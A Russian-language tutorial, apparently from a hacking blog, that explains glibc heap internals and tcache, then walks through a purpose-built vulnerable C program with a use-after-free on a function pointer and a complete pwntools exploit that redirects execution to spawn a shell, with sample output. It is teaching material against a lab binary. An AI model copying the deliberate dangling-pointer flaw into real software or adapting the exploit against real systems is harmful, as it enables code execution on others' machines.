56
Эй, хакеры! Сегодня мы вскроем одну из самых сочных тем в бинарной эксплуатации — Heap Exploitation. Забудьте про скучные лекции. Мы разберем, как работает куча в Linux, найдем уязвимость Use-After-Free (UAF) и напишем эксплойт, который даст нам заветный шелл. Хардкор, код и чистая практика. Погнали.
Когда твоя программа просит память на лету, она не берет ее из воздуха. Она обращается к ядру за большим куском, а потом менеджер памяти (аллокатор) нарезает его на части по запросу. В мире glibc (стандартной библиотеки C в Linux) этим заведует ptmalloc (pthreads malloc).
Как это работает на пальцах:
malloc(size)
: Ты просишь size
байт. ptmalloc
ищет у себя в закромах подходящий свободный кусок (чанк). Если находит — отдает тебе указатель. Если нет — просит еще памяти у ОС.free(ptr)
: Ты говоришь: “Больше не нужно”. ptmalloc
не возвращает память ядру сразу. Он помечает чанк как свободный и кладет его в специальный “контейнер” — бин (bin). Так он может быстро переиспользовать этот чанк для следующего malloc
.Чанки и Бины — основа основ
Каждый кусок памяти, которым управляет malloc
, — это чанк. У него есть служебная информация (метаданные), где хранится его размер и флаги, и область для твоих данных.
Свободные чанки хранятся в бинах, отсортированные по размеру. Для нас сейчас важны два типа:
malloc
того же размера. Это наша главная точка атаки.Ключевая идея для эксплойта: когда чанк попадает в tcache, в его пользовательскую область записывается указатель (fd
— forward pointer) на следующий свободный чанк в этом же бине. Если мы сможем контролировать данные в освобожденном чанке, мы сможем подменить этот указатель.
Use-After-Free (UAF) — это классика. Ошибка настолько простая в своей сути, насколько и смертоносная.
free()
.В этот момент ты обращаешься к памяти, которая уже считается свободной. Аллокатор может отдать этот кусок памяти кому-то другому, и ты, используя старый указатель, будешь писать в чужие данные. Или, что еще круче, кто-то другой запишет данные туда, где ты ожидаешь увидеть свою старую структуру. И вот тут начинается магия.
Хватит теории. Вот наш подопытный — простая программа на C, имитирующая работу с пользователями. В ней заложена бомба замедленного действия.
vuln.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
#include <stdio.h> #include <stdlib.h> #include <string.h> // Наша "полезная" функция. Цель - вызвать её. void win() { printf("PWNED! You got a shell.\n"); system("/bin/sh"); } // Стандартная функция, которая должна вызываться. void normal_func() { printf("Executing normal function...\n"); } // Структура пользователя. Содержит буфер и указатель на функцию. struct User { char name[16]; void (*login_func)(); }; // Глобальные указатели для симуляции работы с объектами. struct User *user = NULL; char *data_chunk = NULL; void create_user() { printf("Creating user...\n"); user = (struct User *)malloc(sizeof(struct User)); strcpy(user->name, "guest"); user->login_func = normal_func; printf("User created at %p\n", user); } void delete_user() { printf("Deleting user...\n"); free(user); // УЯЗВИМОСТЬ: указатель 'user' не обнуляется! Он всё ещё указывает на освобождённую память. printf("User deleted.\n"); } void login() { if (user) { printf("Logging in user %s...\n", user->name); user->login_func(); // Вызываем функцию по указателю. } else { printf("No user to log in.\n"); } } void write_data() { printf("Allocating data chunk...\n"); // Выделяем чанк того же размера, что и 'struct User' data_chunk = (char *)malloc(sizeof(struct User)); printf("Enter data for the new chunk: "); // Читаем данные с stdin. Тут мы и подсунем наш payload. read(0, data_chunk, sizeof(struct User)); printf("Data chunk allocated at %p with new data.\n", data_chunk); } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); int choice; while (1) { printf("\n--- Menu ---\n"); printf("1. Create User\n"); printf("2. Delete User\n"); printf("3. Login\n"); printf("4. Write Data\n"); printf("5. Exit\n"); printf(">> "); scanf("%d", &choice); switch (choice) { case 1: create_user(); break; case 2: delete_user(); break; case 3: login(); break; case 4: write_data(); break; case 5: return 0; default: printf("Invalid choice.\n"); } } return 0; } |
Компилируем без защит:
gcc -o vuln vuln.c -no-pie -fno-stack-protector
-no-pie
: Отключает Position-Independent Executable, чтобы адреса функций (вроде win
) были фиксированными.-fno-stack-protector
: Отключает защиту стека, на всякий случай, хотя мы ее тут и не трогаем.Теперь самое интересное. Как превратить эту UAF в шелл?
План атаки:
malloc
выделит чанк под struct User
. В нем будет имя “guest” и указатель на normal_func
.free(user)
освободит чанк. Он попадет в голову tcache-бина для своего размера. Указатель user
теперь “висячий”, но все еще указывает на это место.malloc
с тем же размером sizeof(struct User)
. ptmalloc
(благодаря tcache) немедленно вернет нам тот же самый чанк, который мы только что освободили.read
попросит нас ввести данные. Мы должны ввести специальным образом подготовленную строку, которая:
win()
. Мы перезапишем старое значение user->login_func
.login()
. Программа использует “висячий” указатель user
, который теперь указывает на наши данные. Она доходит до user->login_func()
и… вызывает win()
, потому что мы подменили указатель!Пишем эксплойт на Python с помощью pwntools
Это удобнее, чем делать вручную. Сначала нам нужно узнать адрес функции win
.
objdump -t vuln | grep win
Вывод будет примерно таким: 00000000004011e6 g F .text 0000000000000029 win
Наш адрес — 0x4011e6
.
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
from pwn import * # Контекст для нашей архитектуры (64-битный Linux) context.update(arch='amd64', os='linux') # Запускаем уязвимую программу p = process('./vuln') # Получаем адрес функции win из ELF файла elf = ELF('./vuln') win_addr = elf.symbols['win'] log.info(f"Address of win() found at: {hex(win_addr)}") # --- Шаг 1: Создаем пользователя --- p.sendlineafter(b'>> ', b'1') log.info("Step 1: User created.") # --- Шаг 2: Удаляем пользователя (создаем UAF) --- p.sendlineafter(b'>> ', b'2') log.info("Step 2: User deleted. UAF is live.") # --- Шаг 3: Выделяем новый чанк того же размера --- p.sendlineafter(b'>> ', b'4') log.info("Step 3: Allocating a new chunk of the same size.") # --- Шаг 4: Формируем и отправляем пейлоад --- # Пейлоад: 16 байт мусора (для поля 'name') + 8 байт адреса win() payload = b'A' * 16 + p64(win_addr) p.sendlineafter(b'Enter data for the new chunk: ', payload) log.info("Step 4: Payload sent to overwrite the function pointer.") # --- Шаг 5: Вызываем "старую" функцию --- p.sendlineafter(b'>> ', b'3') log.info("Step 5: Calling login() to trigger the overwritten pointer.") # Переходим в интерактивный режим, чтобы получить шелл p.interactive() |
Запускаем эксплойт:
python3 exploit.py
Если все сделано правильно, ты увидишь заветное:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
[*] Address of win() found at: 0x4011e6 [*] Step 1: User created. [*] Step 2: User deleted. UAF is live. [*] Step 3: Allocating a new chunk of the same size. [*] Step 4: Payload sent to overwrite the function pointer. [*] Step 5: Calling login() to trigger the overwritten pointer. [*] Switching to interactive mode Logging in user AAAAAAAAAAAAAAAA... PWNED! You got a shell. $ ls exploit.py vuln vuln.c $ whoami hacker |
Вот и все. Мы только что использовали логическую ошибку в коде, чтобы обмануть менеджер памяти, перезаписать указатель на функцию и выполнить произвольный код. Это и есть вся суть heap exploitation — контроль над хаосом выделения памяти. Теперь у тебя есть база. Экспериментируй, копай глубже, изучай другие техники (tcache poisoning, fastbin attack, unsorted bin attack) — и ломай все, что движется. Удачи.